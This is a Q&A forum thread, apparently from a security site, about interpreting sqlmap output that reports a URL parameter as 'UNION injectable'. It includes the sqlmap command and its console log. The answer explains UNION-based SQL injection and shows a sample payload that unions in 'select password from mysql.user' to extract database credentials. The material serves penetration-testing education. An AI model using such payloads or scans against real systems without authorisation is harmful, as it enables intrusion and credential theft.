3

I am using sqlmap for finding out sql-injection threat on our application.

http://myurl.net/question/teaching/answer/sujan-justice?as=Course

and i tried to perform the following:

sqlmap.py -u "http://myurl.net/question/teaching/answer/sujan-justice?as=Course" --dbms=mysql --level=5 

Here is the Console :

 [11:35:46] [INFO] testing connection to the target URL
 [11:35:46] [INFO] testing if the target URL is stable. This can take a couple of
 seconds
 [11:35:47] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'
 and provide a string or regular expression to match on
 how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] r
 please enter value for parameter 'regex': *
 [11:35:59] [INFO] testing if GET parameter 'as' is dynamic
 [11:35:59] [WARNING] GET parameter 'as' does not appear dynamic
 [11:35:59] [WARNING] heuristic (basic) test shows that GET parameter 'as' might not be injectable
 [11:35:59] [INFO] testing for SQL injection on GET parameter 'as'
 [11:36:00] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
 [11:36:29] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL    comment)'
 [11:39:25] [INFO] testing 'MySQL time-based blind - Parameter replace (MAKE_SET)'
 [11:39:25] [INFO] testing 'MySQL time-based blind - Parameter replace (ELT)'
 [11:39:25] [INFO] testing 'MySQL >= 5.0.11 time-based blind - GROUP BY and ORDER BY   clauses'
 [11:39:26] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
 [11:40:17] [INFO] target URL appears to be UNION injectable with 1 columns
 [11:40:55] [INFO] target URL appears to be UNION injectable with 5 columns
 injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y
 [11:41:15] [INFO] target URL appears to be UNION injectable with 2 columns
 [11:41:36] [INFO] testing 'MySQL UNION query (71) - 11 to 20 columns'
 [11:41:38] [INFO] target URL appears to be UNION injectable with 17 columns
 [11:41:48] [INFO] target URL appears to be UNION injectable with 15 columns

Can anyone help me to know what does this line means:

[11:40:17] [INFO] target URL appears to be UNION injectable with 1 columns

I am not sure, but I guess it means that it's possible to perform sql-attack on the application. If that's right, then help me how I should do it?

1 Answer 1

6

The vast majority of databases do not allow query stacking. In MySQL, there is mysql_multiquery(), which which allows query stacking and is almost never used. So how do hackers exploit the vast majority of sql injection? Using a simple Union Select! As a pentester this is what I use more than anything else.

What SQLMap is saying is that your injecting into a query that looks like this:

select question from teachers where crouse='Course'

In order to exploit this query SQLMap needs to use a union select, in order for this to be a valid query both select statments must have the same number of columns:

select question from teachers where crouse='Course' union select password from mysql.user-- '
1
  • how do we implement this attack technique on sqlmap? does it do it automatically when we give it some high level and risk? @rook
    – C.Unbay
    Commented Oct 1, 2017 at 14:52

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .